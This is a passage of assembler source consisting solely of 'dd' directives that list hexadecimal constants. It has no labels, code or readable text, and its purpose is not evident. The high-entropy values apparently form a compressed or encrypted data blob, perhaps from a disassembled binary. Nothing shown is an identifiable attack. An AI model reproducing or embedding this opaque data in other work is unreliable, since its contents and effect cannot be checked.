0E64CE875h, 7C0FE101h, 1754BC84h dd 2673E040h, 2D968090h, 0A7D0DC00h, 41C1E34Eh, 620E0F49h dd 0C460D499h, 0ED5BC909h, 85CAC700h, 956C6BB8h, 499F3C70h dd 0F412B8D8h, 0FAC80091h, 8BD35D2h, 0C100D3F2h, 0F59B981h dd 38A74971h, 0AF000C86h, 0F1E2EC72h, 6D3F352Ah, 0A4D10080h dd 42438983h, 0C65E03B3h, 0CB55569Ah, 30B49481h, 2A00A7D5h dd 0A3D7B8BDh, 60DFE2h, 0BA8A51A4h, 9EE7BD1h, 0FF562302h dd 0D5D33F5Fh, 833A1480h, 3801F14Ah, 9461BB0Bh, 6EFCE08Ah dd 0A88B0045h, 17D56C07h, 0FA007FAFh, 30937C62h, 3DDDCA14h dd 4739975Eh, 53A8BD80h, 0E342EDBFh, 0ABF13800h, 66657224h dd 97CD004Ah, 6B675755h, 0B9001AF7h, 0FA8BB4D0h, 3D9DD06h dd 0A587F5BDh, 5FC03C1Dh, 400D5FFh, 414656BBh, 0A372C6h dd 0B7FC3FA4h, 0E66AFAECh, 40DE6200h, 606167B3h, 892E0024h dd 0C0BCFBF7h, 0F2005788h, 29BA321Ch, 988FA2BDh, 829B00ACh dd 0AEB6A92Bh, 36005A1Eh, 6B17EAE9h, 0C4A675h, 0B193D0CFh dd 96B4900Ch, 78273A07h, 3F505723h, 39FC4DBFh, 0CD83ABF0h dd 94D7F902h, 415300FCh, 2686B9AEh, 3CB74F1h, 461E9D89h dd 747134F9h, 0D0008F68h, 2FF0C014h, 0ED7AB4Fh, 0A2C54EC9h dd 0D6E6060h, 8A001EBAh, 0B13DD394h, 1BAD4Dh, 2D0EB4A7h dd 7A86DBDFh, 0E3082400h, 657F8541h, 1DE2000Dh, 60FBA183h dd 68013184h, 0AB0C9194h, 9EE01B77h, 66F50006h, 0ACC1792Fh dd 0DC16FE27h, 50012C26h, 11091FA2h, 0FBC0EA31h, 64D00B5h dd 88FAD784h, 94FC80C1h, 0C8AA2F00h, 36D4EE1Fh, 95630F42h dd 0C26406DCh, 7EA0C04Ah, 0FE007113h, 4F2DE40Dh, 2E86F755h dd 0F8490B4h, 0DCE0F67Fh, 0CE26F58h, 0D1C0A800h, 4CEB733Fh dd 37EAC3h, 6CFA24BAh, 93A25961h, 6D0ED405h, 0FE00CE7Ch dd 9067BCF3h, 7AEE0F0Dh dd 7F7128Dh, 7B43E684h, 354F28A0h, 24005D5Eh, 0D6C4EE9h dd 9219559h, 0F57C4992h, 2CA2C400h, 72001FAAh, 0AD65C2Ah dd 4A3B42h, 9E867E34h, 0F605E927h, 5F00AD76h, 0BA3A7533h dd 0F3BAB60h, 0B61EC94Eh, 227007Eh, 0F82A9BA4h, 0E7668A00h dd 6A9AB22Eh, 24480075h, 86BD017Ah, 5D00DEACh, 0DD4CC87Dh dd 33A2777h, 1FA8A1A2h, 6D804DF9h, 4F00D7C1h, 0A5B30ADCh dd 2D7F24h, 0B9E0838Eh, 98E6CA16h, 4731A00h, 0CF39F64Dh dd 3AC4000Bh, 66E54E88h, 8400F351h, 4385A7CCh, 0D1DC29h dd 19EEEBC9h, 0B5771437h, 8B017073h, 0E90D8313h, 0A9DCA3FFh dd 5B4B00E6h, 660EDCA5h, 0D8A9DD14h, 883C81D7h, 0F48AA730h dd 0F976C0h, 35B3CB67h, 0A22E97ACh, 0C4F2CF00h, 1B7A7189h dd 0C53A0339h, 17BCEBE4h, 0E88E560Fh, 256241D5h, 0D84303CBh dd 0D81A42DEh, 237F0071h, 3B94380h, 0BE6FEFFh, 0A2506500h dd 54472BB5h, 1C3C017Ch, 5D9A2EC0h, 62BAF05Ah, 0C6E3BD01h dd 755F271Dh, 6D13F8h, 0DC41A3FDh, 66335EC3h, 0B0A7BA03h dd 88B86C67h, 3A7529BDh, 53074A0Ch, 0D0C8E75Ah, 3CFC4662h dd 19B63300h, 6FB97503h, 656D0090h, 1F4C0FADh, 331640D4h dd 3805544Dh, 28822C7Ah, 138940EDh, 0E49B005Dh, 0C00942C1h dd 70FB3EE0h, 6E00C724h, 45DFBEA8h, 7E505C79h, 30E4F9B6h dd 0A9CE1F04h, 0BCD5C17h, 3800204Dh, 7EE76EABh, 0FAC64807h dd 81CB0E71h, 2DEA59Ah, 6CFE30h, 2F7323F9h, 9E84C2C0h dd 17C48C39h, 0DC1D2C07h, 104250C0h, 7B75AA90h, 3B7F38h dd 0B4CD336Ch, 0AC8635Fh, 65781201h, 2EFF4108h, 0A314A840h dd 2FAA305Ah, 28825948h, 0F5E68C07h, 62900313h, 6439B1h dd 4B34C69Eh, 252FBC2h, 6594FE00h, 0D12B7148h, 9FA744Ch dd 78B08E3Ch, 0FDA14D83h, 684F9DF1h, 19530074h, 0B3D598Fh dd 13E8FED1h, 408890DCh, 0E9286790h, 11C074FCh, 8143C2C7h dd 9AFA0F37h, 1BE0CB91h, 821E895Ah, 70107E01h, 0AE7A5F79h dd 2CCAECh, 5CA14E25h, 6C14ECDDh, 0D6C43100h, 7D9407AAh dd 0C64B0785h, 616D2952h, 385738B0h, 9FF20B98h, 19AC02D0h dd 0E7146094h, 84DD0077h, 0FB078A18h, 0E000D697h, 7E233173h dd 3B25BAACh, 9A806239h, 0F45A0704h, 8BB879CEh, 0E0A06902h dd 84F2FDEAh, 97905F9Bh, 2EE1D4B0h, 1DC151Dh, 8A85C82h dd 4E118FF9h, 808C402Ch, 3EF090h, 0CFB858C0h, 3240AF49h dd 73B8500h, 9F3FFCD1h, 8CD300CEh, 0BDBB2858h, 1203705Ch dd 0DEAD636Ch, 60419AC9h, 2ED4A4DCh, 0B2CDDD8h, 0A40E7A3Bh dd 0AC7D44E0h, 0CE381D73h, 99B98096h, 767AFA04h, 2DA01D20h dd 0BF6A8033h, 0C150646Dh, 0B8A94F03h, 8824162Ah, 2E0EC444h dd 1E36ADEFh, 4EE80AFh, 2C7D38D8h, 1376D500h, 23821A9Fh dd 655C00F4h, 0E5167C5h, 4A016402h, 0B195B079h, 83FD6841h dd 674F8h, 34CCE329h, 0F918C433h, 0CFFA6000h, 0D6B3DE6Ah dd 556F13E1h, 0C39600D9h, 0FAF34B3Bh, 69B1A900h, 86D8B35Ah dd 0AE84584Eh, 1992C1Fh, 71051B4Fh, 3FC833F6h, 6D9A8E8Ch dd 0D078A077h, 39B8465h, 0B4FE6A46h, 61B84260h, 0ED4BC599h dd 1037D440h, 719D523h, 67782B50h, 0E8082048h, 33007930h dd 0CA99389Bh, 65DE86h, 8BFE6D94h, 266796B6h, 0ED322A15h dd 0CFF400B8h, 8D694A93h, 0F1E1009Ah, 53873FE7h, 0C171FEABh dd 8020143Fh, 0DA0C684Ah, 56582Ch, 74650EE9h, 3D52989Eh dd 0A28958h, 8525E7B6h, 2FC24DDh, 0FE9B158h, 4C590CE0h dd 4D01F901h, 50D0D669h, 0CBFF00E8h, 2D974896h, 0F3890A5h dd 5800FAE5h, 9A838D93h, 0CE284Dh, 70D7090Dh, 3A024E3Fh dd 8A177CF8h, 8008C48h, 2BCCB5D8h, 0BA1F014Ah, 0F22621D9h dd 0F6E540C8h, 920E0267h, 80ED2F84h, 0E457302Ah, 15F0071Dh dd 0F020645Ch, 70E5D21Ah, 0C5620097h, 0B43B4A34h, 30150028h dd 67A0E011h, 0A31DEA00h, 82102CEFh, 61DE0F3Ch, 7C00C4A4h dd 9291909Fh, 4BF18B00h, 2270E795h, 8F0800D5h, 0AC0806Bh dd 1F308C8Eh, 4EBD4056h, 0AB2100FBh, 1EBB151Bh, 0A300EDC3h dd 0FD4082E6h, 717D1789h, 1C89C4A5h, 4DEC5C2Dh, 0F8BD4F07h dd 0E325C850h, 3E620044h, 2C1E1306h, 48008327h, 919A43Ch dd 0E99C7FBh, 0DD178008h, 6EF72500h, 3D001105h, 85B668BDh dd 5654D6h, 2022E38Bh, 0C4616424h, 8C003C98h, 0A0848EEBh dd 446E5h, 3F7D4568h, 98F1934Fh, 9CF0DC07h, 9D90B4F4h dd 778088h, 0C4286FADh, 0A4F708D8h, 0F3125E00h, 2A41F8AEh dd 14F248h, 7B4AD765h, 0E2AC1BF9h, 0A5C0A600h, 64796F57h dd 2E6A1327h, 0E6BB00F2h, 9E9FE069h, 391F280Eh, 0FBA520A8h dd 172D5194h, 3828Fh, 275840B1h, 66019659h, 0DDD23A49h dd 0A0402BBCh, 2D7A4E77h, 4D6050E4h, 0D901D620h, 15136B47h dd 4880378Bh, 69E5122Ch, 7B009A51h, 44651A1Ch, 1379CCBh dd 886F853Bh, 6842E5B5h, 3020581Bh, 0EFDC1A7Eh, 67ECA0C9h dd 2E482D60h, 7F61F80Fh, 7AF0EDh, 8E95E7h, 132D50D2h, 8AABA5C5h dd 6C2C4737h, 96B17C1h, 9F9C60FAh, 19430160h, 20F04CF6h dd 3C8DC47Fh, 0CEE7E112h, 0BB57E890h, 479103C1h, 0D073A860h dd 592E9FD0h, 3E7CB91Ch, 2162B641h, 6C2D49h, 800821EFh dd 9C5C33E7h, 0C00005A6h, 72FB115Dh, 0E1EBA2Eh, 0D24F5177h dd 0CB940252h, 0A6005821h, 75C83Fh, 96F9A225h, 0FA6368A9h dd 0F6ABD40Fh, 3E801C5Ah, 4A329114h, 64EC1275h, 63700072h dd 0BC967489h, 26B96200h, 0C46916B0h, 762DE2D4h, 0A01306A4h dd 30FF61CDh, 91935E1Fh, 83721BC0h, 0EC6F7588h, 432F24AFh dd 0D5420014h, 262DA517h, 0DD1CD17Bh, 0E90BE65Dh, 6B483FFh dd 0D34838EBh, 0CBE47E80h, 0A3DDA722h, 6A0AE003h, 0CF070FBAh dd 0F4A833E0h, 37B00E1h, 0A6F2605Ah, 20002381h, 17C774ABh dd 3EE48AF7h, 5A00A11Bh, 0CC935BF1h, 7C00E988h, 2A8C1FF3h dd 6DDAFFh, 1430371h, 0B50A53A6h, 9838E400h, 3BC7CA58h dd 94690031h, 0E21FEEEDh, 6F0E7D12h, 0E0226480h, 0D32A9BA3h dd 10C71F7Bh, 0EDF003Dh, 0F5F85014h, 184CC80Fh, 0F2F980EFh dd 5E46Ch, 2046D69Dh, 648EE355h, 9B05A772h, 5D54F00Bh dd 33BE54C0h, 849000DAh, 0F5208943h, 65006453h, 8128950Dh dd 617DD9h, 0F629A748h, 7919F4F3h, 0B8D9E00h, 0B97BD295h dd 0E8054C16h, 180C03Fh, 0B6BBEFFDh, 1F16AA26h, 0C0C07496h dd 0DF0823h, 150D6B52h, 1B767B2Eh, 0CE00DAB4h, 0F08F59B2h dd 3A3E00ADh, 14180162h, 3C0F2C5Bh, 9890B0EFh, 1FF84DD8h dd 4537CBBAh, 0C0872B5Ah, 8417B8FCh, 16881912h, 9D69880h dd 0C5D52EA8h, 0C12100C0h, 930DFAB7h, 6601F89Ah, 81AB6A9h dd 98E05284h, 557E1D80h, 0A0B80029h, 5117A2D0h, 0FD902F00h dd 0E68547E4h, 651809AFh, 8B80A1B8h, 0B7612649h, 798A0D00h dd 7F684B07h, 0CBAA3DF8h, 652A2B9Ch, 17C84C00h, 81041083h dd 5013CD16h, 0F8020CA1h, 0A4F834h, 8B5B93E7h, 637D4AB3h dd 0BD67A9C0h, 0D0DABAh, 0C15A0AE8h, 16FA7FE3h, 0D9AA481Fh dd 998FC41h, 3C28C00Bh, 0C1BC3B18h, 786761B9h, 7C606B49h dd 16D25EC5h, 0F0E5215Fh, 0D32E942Ah, 9A029053h, 0A5173D44h dd 60A1A62Ch, 3CD702DCh, 0C600BCF8h, 6AF331A0h, 772C9DD1h dd 72806848h, 5434780h, 2B97053Dh, 40B6832Eh, 0EB0CAF40h dd 1602E3E7h dd 0BDA19A71h, 3C450F1h, 6962431Ah, 0DA89CEA6h, 85198036h dd 0A78CD2BEh, 0A0510371h, 633B0ADDh, 70B53D88h, 0F800405Eh dd 919D5DADh, 0E95C7517h, 0CE5D310h, 0F087F8F5h, 95D5CA00h dd 0AAC5CBF7h, 0EEA70092h, 0B66120A9h, 541848C8h, 0C5908F6h dd 0AA880F72h, 0F067B903h, 68E09071h, 174AC20Dh, 97C0D81Eh dd 741BCFB5h, 7FF3002Fh, 3110FA3Eh, 0D7CF786h, 80D1203Fh dd 0A9BC5DD8h, 96CB5F44h, 81281EA4h, 0A652236Dh, 0F13DC4D7h dd 57796E00h, 0BAB57F14h, 5BC239D3h, 129BFF8Fh, 0A3FA0E00h dd 60061B44h, 7EEF27B0h, 76880128h, 718DE01Ch, 39DAF030h dd 635FC812h, 1EF35C01h, 1081C786h, 0A835C40Bh, 0E0F41288h dd 4AFB1C3h, 18E580A1h, 45209067h, 772AD6BAh, 8406A413h dd 65CD6476h, 0DEEA0B11h, 1825D0Dh, 0F0A07759h, 0D3F4751Ah dd 57F9F03h, 0B9C4CBh, 0DFBB7831h, 21AFF3D0h, 2B6DD403h dd 0C0D89CC1h, 7676AC90h, 29022E01h, 59350150h, 247FF7C7h dd 7A4E162Ch, 0E0DB5847h, 320E25E0h, 35D72C34h, 8BBC01BCh dd 6083AE26h, 5C607334h, 0DF844AB0h, 0D3EB00CDh, 0E7B9D423h dd 8D00AB83h, 0C9FC0499h, 0A683116h, 63690C43h, 92D800DCh dd 0FB123725h, 1950503h, 0A8CE0881h, 2C907DC6h, 0EE3EF0Bh dd 0EB864E02h, 0A00F80CAh, 4ED92C8Eh, 80C3C9EAh, 0F690F075h dd 56B700ADh, 49149581h, 5700323Ch, 0C8E787BEh, 187E31h dd 0D8F7DBFCh, 0B3827355h, 0DE59251Dh, 7B363FC0h, 2C40539h dd 758C7AA9h, 9458660Eh, 4D1637F8h, 140003EDh, 0D62E63C3h dd 0EFBD01B7h, 227210BAh, 690EE87Dh, 0B6EB8500h, 0CBB53A15h dd 1F36005Dh, 290F1DE6h, 80005AAAh, 7DC0DFE7h, 1D0D9324h dd 0E43DA3F2h, 1AF30FACh, 47224260h, 7F3B3114h, 0C3F08081h dd 26991F1Dh, 494B1DE8h, 7A8C0088h, 8B304F92h, 104B2096h dd 0AAB35E4h, 0D1ACAF71h, 25F23BE2h, 70C4970Ah, 480BC012h dd 7980FC40h, 5E1B68h, 52165CA2h, 9B6A1AF9h, 7BE9D71Ch dd 0F8A49440h, 4C8579h, 0A68CD62Ah, 904FB4A2h, 433A6900h dd 823ED457h, 1CD800ACh, 320A9F7Ch, 0D7092962h, 22398AAAh dd 107ED530h, 0F883CB1Bh, 0BDFF6Fh, 0FBD38F6Ch, 5FED22AAh dd 11797000h, 0B09041C0h, 0D6CD17D7h, 514004Ah, 61EB7EB5h dd 0F5E6E704h, 34C2A0E5h, 47F6405Dh, 1CDE07F1h, 6CFE23h dd 0F90FB540h, 8BAC8B3Dh, 389BF241h, 569F0Ch, 93332911h dd 903B7D5Ch, 0D600B97Eh, 0D546501h, 122CCC06h, 4186716Ch dd 9890BDB4h, 1FFCC02Dh, 98681125h, 0F2F91670h, 75DC0741h dd 0D32917F3h, 1E8B404h, 0CA7EFEFFh, 0D6C23900h, 0A8668380h dd 9F050048h, 651F69FDh, 520040EEh, 0B755F17h, 13014A96h dd 13847CC0h, 0D35C4044h, 5394126Fh, 6B14F300h, 9C9B5178h dd 0F7B20460h, 87776934h, 0D2025B2Ch, 0CA404D9Fh, 490740BFh dd 0E828303Dh, 0FBC46BA0h, 0B8776E94h, 7B220F3Fh, 0E8B17A66h dd 0DC183DE8h, 2D2076EFh, 347302CBh, 9D096172h, 60742861h dd 32093634h, 189D764h, 0B666F2C5h, 0FFFC6865h, 0F4D958D6h dd 8E18D2C0h, 0A6167613h, 70201F38h, 48EF91F9h, 0D2014C7Bh dd 0B4E02D34h, 0B53C649Ah, 92075D76h, 91E45C14h, 6E6020A9h dd 0A8739776h, 559A4CCh, 588C496Bh, 57F04156h, 8035E174h dd 0CF867E31h, 0C0BD84h, 787A64E3h, 0E76A902Eh, 72FFE38h dd 291A96DBh, 3D90CF07h, 2E5EB476h, 873031B2h, 3036D4DBh dd 3AC8A632h, 88664CAAh, 0C010898h, 167A5910h, 198053B8h dd 4E243A44h, 0E709F5F7h, 0A51D33h, 695BAD68h, 2960206h dd 3225F867h, 2E42FCC6h, 0CA347A01h, 0D2747F83h, 27CBB8E8h dd 0A5000978h, 0BFE95263h, 0BA49B33Eh, 15622A00h, 0A03A0184h dd 503D0487h, 7B0070B7h, 4C68F15Ch, 0EB841EDCh, 7F2A27C3h dd 917121A4h, 0F9010C7h, 0A0C0D6A7h, 0EF9884h, 97DEFF2Fh dd 0D8EBD01Ah, 1240A965h, 6CD72880h, 7B80A818h, 5F0A0B67h dd 8860CAB6h, 8E01C7FDh, 92B779A4h, 530F485h, 9087540h dd 0D80E38AFh, 141D8003h, 72E9D188h, 369C5200h, 83FD2494h dd 0C5762C4Eh, 311B00B4h, 9C54A3A6h, 34FAD90Bh, 0C5582212h dd 0F760185Fh, 45E81C00h, 132E3039h, 18E9780Eh, 102FDB65h dd 760F7F8Ch, 275C1DBEh, 35418D74h, 0D7602C26h, 20D8006Ah dd 91B1F155h, 0CD3E9F75h, 832BA561h, 8AA70694h, 53C7C85h dd 4F4D9652h, 65C1D280h, 24E28744h, 7A00956Ch, 789747F8h dd 12BC2832h, 124738Dh, 0CFE1E93Ah, 8002F5Fh, 1BFF5AABh dd 370300A6h, 0F7BC2EB3h, 7AF4F3A4h, 0C3160600h, 0E1A21E67h dd 0DE43006Dh, 993993B2h, 0D200953Bh, 0F633303Eh, 980C83h dd 29148A56h, 0AEF2404Bh, 510013F8h, 7644AD02h, 2FCEB333h dd 0C00FD5C8h, 1CA7E8C0h, 540053D8h, 65B04260h, 0EC089B64h dd 841804FEh, 0C02EA881h, 5F01756Dh, 0AE6C2903h, 9832EF9Ch dd 0B1B5D6h, 82C33447h, 0ACA9561Eh, 0D29F0B01h, 88A18345h dd 0A30E986Ch, 4A601C3Ch, 8B9969Eh, 2F483548h, 0BBB8203Bh dd 0FD52422h, 2F931D09h, 0E218B052h, 0B678BA00h, 0DEFD2DA7h dd 0DAA0003Fh, 688F07B9h, 7A001E7Bh, 0A16CBC33h, 1F6D901h dd 9A06E33Eh, 7CEC218Fh, 0C1A50364h, 0C0378E0Ah, 795AE03h dd 88C858FFh, 0E2D6A0C2h, 85381F17h, 0B67EAE41h, 2DF21A00h dd 50BAB6h, 864C880Dh, 19A4FC4Eh, 0E12AF4BAh, 233DECB8h dd 980B803Ch, 56F27989h, 9084B067h, 0DBE0034h, 0FA5DE801h dd 0F1045081h, 5ACD37C5h, 7CD4B080h, 95F80029h, 97FB27DDh dd 0F50121B3h, 0D23C4887h, 75309DF7h, 28BD38E4h, 8EBEC99Dh dd 0AE0B0C4h, 61B6A39Bh, 409D5F00h, 0CE3AA45Dh, 0F14ACBh dd 63977BD4h, 0D7040FABh, 0FB491F4Eh, 7D50F890h, 482A00B7h dd 0D381F282h, 68926C78h, 0CD1B1F07h, 5D100455h, 1796F5Fh dd 0CF951A8Bh, 0C038A824h, 632C45FAh, 36625899h, 28D61Ch dd 759BB8EBh, 341E2122h, 0D466BF62h, 4D0054A4h, 92322A13h dd 2D800F1Dh, 21394E17h, 7DD881C5h, 0EEE9CAF7h, 0B3F5060h dd 360EC3C0h, 0F45BC420h, 7A049365h, 195CCC41h, 0AD0CE4h dd 98022E4Ah, 373B409Fh, 0C49D8AA0h, 263E930Ch, 156B40F0h dd 8487BC64h, 4B670076h, 519D71DCh, 809CDA1Fh, 0C1A7A90Fh dd 41BE1378h, 3AA048h, 62C6EDFh, 3D76020Ah, 2583A00Eh dd 2444B62Bh, 54E218C5h, 1DB1C007h, 0DCE3F18Eh, 0F0B05711h dd 78497143h, 8E312338h, 0A22970F1h, 0F8514780h, 9F7700BCh dd 0DAD996C7h, 0B72A3875h, 0B0018057h, 6C47F00Bh, 9C507DF9h dd 25B29F66h, 0C084AB8Bh, 244D15Eh, 4452FA9h, 0D888CD7Dh dd 0F87600B9h, 5980AE3Bh, 0EB03BC9Ch, 0C0D4AE7h, 1030A0A0h dd 26CA003Dh, 0C5C668EDh, 25FC3186h, 10695A30h, 0B8BF99A0h dd 30EC0708h, 8F6013B5h, 4833A980h, 6502C680h, 74DD7806h dd 0C0C430h, 94026FD0h, 5686F8D3h, 3DFDA492h, 14B92708h dd 44FE5978h, 80B060CFh, 77F88B34h, 16080AC7h, 8720BA3Bh dd 0F06D33AAh, 0E3A97EC3h, 9A17580Bh, 618C022Bh, 54E37FB3h dd 1D530C88h, 31FCCE51h, 3E1BF47Bh, 5687600h, 0C14B0AFAh dd 584601A5h, 0B6B29AD5h, 38E45157h, 1F10C82Eh, 58CCD058h dd 0B1F2C060h, 907181A9h, 2B45042Fh, 0CC6B886Dh, 14045118h dd 0DBF4C636h, 6001ACACh, 5087CD96h, 0AFA9E480h, 716B1800h dd 38F8219Ch, 0FAE43ACEh dd 0C022079Eh, 0BAFCD239h, 0F9071659h, 5497CAC6h, 228101D5h dd 3CCCC30Eh, 4D370B2Dh, 80001B38h, 0CE5987DBh, 55826105h dd 0A080D8E1h, 1F44DA0Fh, 80DFEC42h, 308E806Ch, 0B4F47BF9h dd 0B8A3A12Ah, 77FFD818h, 0C7C4E1h, 2B6E4770h, 3935D52Dh dd 0D6F66202h, 0AAD01C0Ah, 80053590h, 0F44AED9Eh, 0B44180C7h dd 84607782h, 392E0097h, 494C6225h, 9900846Ah, 0FF6C6E36h dd 0B6368B0h, 21A2EBDDh, 3A0EC850h, 0E0BBF898h, 30678F49h dd 0FDDC026Ah, 9B38412Bh, 0B3784C0h, 14E246E0h, 671422B5h dd 1F645AB3h, 788A73C0h, 937610h, 0CF321994h, 0F3439Bh dd 7F921841h, 366E1BDEh, 0D05830Eh, 9A809D56h, 7E457808h dd 0A3E900E2h, 93A6E661h, 21007763h, 0DE6EDC9Fh, 24AAFB9Eh dd 0E303B74h, 0ECAF1925h, 9C5BFE60h, 0BA3FAD65h, 4A96804Ch dd 808AF341h, 0C3B4A09Dh, 0A8EA00B1h, 0DBA6428Ch, 950E925Ch dd 7FAB70Bh, 7DF083B0h, 113EF0h, 0D7E684A6h, 0DFB61614h dd 23F1072Eh, 44AB8039h, 4186A962h, 883358BFh, 79714Ch dd 0D5AD83E7h, 0AE747E37h, 0F27F1C7Bh, 0B7506E00h, 6D20D371h dd 22E00042h, 298F6BCBh, 433F82A7h, 753C0095h, 0D6AAAF94h dd 0F93D039Eh, 0A5FA540Fh, 7F6005EAh, 1D252F1Ch, 26B04002h dd 457E5Ah, 0DA2DCB67h, 248EB4D6h, 10F80205h, 0F0A5BE29h dd 0C6919E9h, 0BA11B000h, 6E16651Eh, 71677700h, 0CA38132Dh dd 0FEF90718h, 100A45A6h, 0E6791684h, 3E4A6F01h, 0F0E90769h dd 24E127F4h, 20B35Eh, 922C8D42h, 6490AEECh, 487EAD0Bh dd 0CA818087h, 7BF312h, 0B0A41AD6h, 0ED16A40h, 5E001573h dd 0CC275065h, 9496263h, 0FEE3EC28h, 0F9539200h, 4D24CA6Eh dd 0D21386E6h, 5AFCF4h, 0F76CE4ADh, 6D3CEFD3h, 186A5101h dd 0C1E36E57h, 543C920h, 260C912Fh, 3E9DC0D4h, 4601664Bh dd 48E2B942h, 0D9D9886Eh, 12F52DECh, 0A09E5B4Dh, 1677DD6Ch dd 0A0CCF105h, 63806DDCh, 0E3E5BCh, 0EDE124F7h, 6B0D02C2h dd 0DBA0F801h, 65AB279Bh, 564C70h, 0C497EF7h, 0D1B1BD03h dd 718BF800h, 871FCBA9h, 402F4A9Eh, 45DE3354h, 1500FF06h dd 63F5844Bh, 438D969h, 0D22CAE70h, 21E8E442h, 5C98041Eh dd 8A343D80h, 28E6D6F4h, 1CEC8818h, 3D8E9B2Bh, 0F9B44BDFh dd 593FE7E0h, 92EBC700h, 98C60896h, 0CE2D007Dh, 0A9CAECCFh dd 0EBF45F17h, 349AE00h, 2E51BCACh, 34462469h, 0BF4A0F68h dd 0A554A433h, 750F2503h, 0C1110BDEh, 0AC341572h, 0FB2C0FA2h dd 5E40DA21h, 54D2E256h, 0D17D4300h, 74FA80C6h, 0F3CC0003h dd 5C28FB92h, 0BB12CD4Ah, 1800A143h, 80A9E40Eh, 99730094h dd 34844550h, 0E5001DD5h, 2D6A3138h, 356F8F1h, 0C5030619h dd 9E90492Eh, 0E209A81Bh, 7ED6C9CBh, 4F4004Dh, 0BBF3CDB2h dd 0C62DB67Bh, 0DB8891AFh, 53A99C10h, 63692301h, 0B0B17160h dd 0C0034468h, 0A5DBB7E6h, 2ADE3D8h, 7E2583Dh, 2EED3E6Dh dd 807ACC62h, 49FE67BCh, 0C1404EB8h, 40C610DCh, 6563E0AAh dd 3F000C90h, 0D562BC52h, 1D8A41B9h, 0C00A290Bh, 0A7CCDB54h dd 7F075509h, 729505F8h, 8930FA22h, 75FA00BCh, 49DA95Dh dd 3BEC7AA2h, 0A16FC0CBh, 2E5A989Fh, 6B7D2407h, 0F44A3CD0h dd 405B4AFCh, 75A22B20h, 51FC2C60h, 800BB79h, 0E3A4DC4Eh dd 287A22D9h, 4C46B0Ch, 0F0F906B0h, 0AF6200A3h, 7D7B4D4h dd 8884C607h, 0F4A93218h, 0E200B8FAh, 0AD8A6C1Dh, 7E87B7D1h dd 0F1EA00AEh, 8F96741Eh, 0C101A2CDh, 0D8A484D9h, 0C45069D5h dd 0B7730612h, 0BCE88490h, 87649C2Eh, 3A20B400h, 0BEC8BA8h dd 0D92ED373h, 42E230A1h, 388022CCh, 7F2B8089h, 49A24752h dd 5B7305AAh, 0C05F8E7Eh, 0FD8F2B6h, 0F4F30300h, 9C7B686Ch dd 8A833AC2h, 666DC98Bh, 0DE368B80h, 6C0F189Ah, 63209DC8h dd 0BA8D600Fh, 33006055h, 0DAFD0054h, 11CB0906h, 99305DE1h dd 0BF271894h, 2FE500A6h, 8E68B93Ch, 0DA001464h, 0FCC33779h dd 0B0C4F9h, 950A1332h, 6BB7FA55h, 2A979207h, 0E09FE0D0h dd 0D2EA875Dh, 9EE516ADh, 4CDC40B9h, 7F50CE88h, 266EC500h dd 33E77748h, 0FDAB0567h, 81E6BA0Fh, 3F2F47FCh, 6229900Eh dd 606FD29Bh, 935CCDCh, 0D5B7544Ch, 42BAD086h, 3AAA8516h dd 8E36480Ch, 1C562F63h, 0E804048h, 0C048C21Eh, 1D717000h dd 0B8F1FA07h, 144D772Ch, 0A48DEF83h, 524B270Eh, 942FEEA0h dd 4500E9FEh, 726781Ch, 8B7B97h, 9DE1D62Ah, 0F78FF071h dd 10301216h, 51368B0h, 45FEC214h, 5851E83Ah, 1E1A00BFh dd 360B9249h, 5DB200F5h, 6523D68Eh, 0A000B62Dh, 0BABCEB33h dd 0E3774C5h, 0AFE3B1D2h, 4CAD9D03h, 6B22BFC8h, 46B88C00h dd 5AB00E52h, 209658EDh, 397B5300h, 5B873E55h, 89010D70h dd 0CBEF3D47h, 0F830D5A7h, 0E4CC50B7h, 52851790h, 53B84099h dd 1E66E24Fh, 0ED211260h, 0A1403A6h, 7E318CB8h, 2A96008Ah dd 5D0148C9h, 28876800h, 94558E10h, 0CF19033Bh, 78BCE34Bh dd 0F4344FA0h, 3CD6F201h, 0FC492CABh, 1FED0860h, 0DFCC3E31h dd 4FF5D94h, 0C27BB0C5h, 4CE4932Ch, 0ACDC30EBh, 0BC062401h dd 0DF70F787h, 0E0EDDE87h, 101567AEh, 0F304BAB7h, 0F7911100h dd 62275380h, 494785Bh, 0EE6626B9h, 322CC036h, 0F71278A7h dd 8000C6CEh, 0A433DACh, 7288F685h, 0FBC92E7h, 173E1BB4h dd 506CD0D7h, 1600DF8Ch, 11E905C7h, 165AFEEh, 0B475F576h dd 3AB819C5h, 0D877BC00h, 92E95FCh, 12D4B58Ch, 0AFF45801h dd 1EBCCF7h, 0F2029090h, 8CF1EE9Bh, 94584017h, 146C40EDh dd 1B40289Eh, 301267D5h, 0C298CB53h, 5A4EB723h, 0CC72ACC0h dd 65EED6h, 0D44A4341h, 1411872Ah, 0E5E220Eh, 9EF6A090h dd 7EFDB24Dh, 458A034Eh, 0B4AB398Bh, 0E7BA90D7h, 813A6756h dd 0E69C001Eh, 7545A7A5h, 4417000Bh, 7E8E0601h, 6D002D55h dd 0C41F4FAFh, 48C9E2F0h, 0FE29DC17h, 0A34400B8h, 78D7D196h dd 0AD5FC1F8h, 8B70B887h, 0EE3C0Eh, 0D1533F9Ch, 6EC0E8EDh dd 371DC200h, 0AD99989Dh, 30D000A2h, 0B9AFA088h, 0F2251FDDh dd 5E58604Bh, 0E74B6Bh, 4959E00Ch, 3AE887BBh, 0EA2C5D00h dd 0DEBEB0F3h, 7DC00F0h, 3BA69070h, 82024632h, 9AB8897Ah dd 164F8A9h, 0BD2A3463h, 0F45E370Eh, 8F259E68h, 0CC28873Bh dd 6EB23260h, 0C6F245h, 5B175E14h, 1FAFC8F5h, 1B7AA27Ch dd 60B98A0Dh, 7FF829DCh, 50B02EAh, 9F1B5737h, 9C615360h dd 0EB5F0E00h, 0D2017D36h, 0C2391732h, 9E78000Ah, 7BA9226Ch dd 3E2A1616h, 250C500h, 4C3A5F5h, 5CE5B01Fh, 7990D27Ah dd 33056C5Ah, 4F22BB19h, 40D92BC2h, 0E76A7F8h, 28B495BCh dd 3C488120h, 94FE04A3h, 5D1EC900h, 0BC7B7E2Fh, 23722806h dd 0EB9300ABh, 21A6AADAh, 15033C49h, 8DAFAC8Fh, 7BABD852h dd 0F13B0095h, 58350F70h, 6C006368h, 0BAF47844h, 0C08F7336h dd 0EECA6168h, 667FFEA9h, 6AAD3Bh, 401F98EFh, 2F5A5Fh dd 376ECEBh, 6F633D3Eh, 7213B105h, 74B09107h, 50952279h dd 0D75B2901h, 9D44517h, 143B4860h, 808FCA5Ch, 0EE915380h dd 4703CBB7h, 0C91E4F49h, 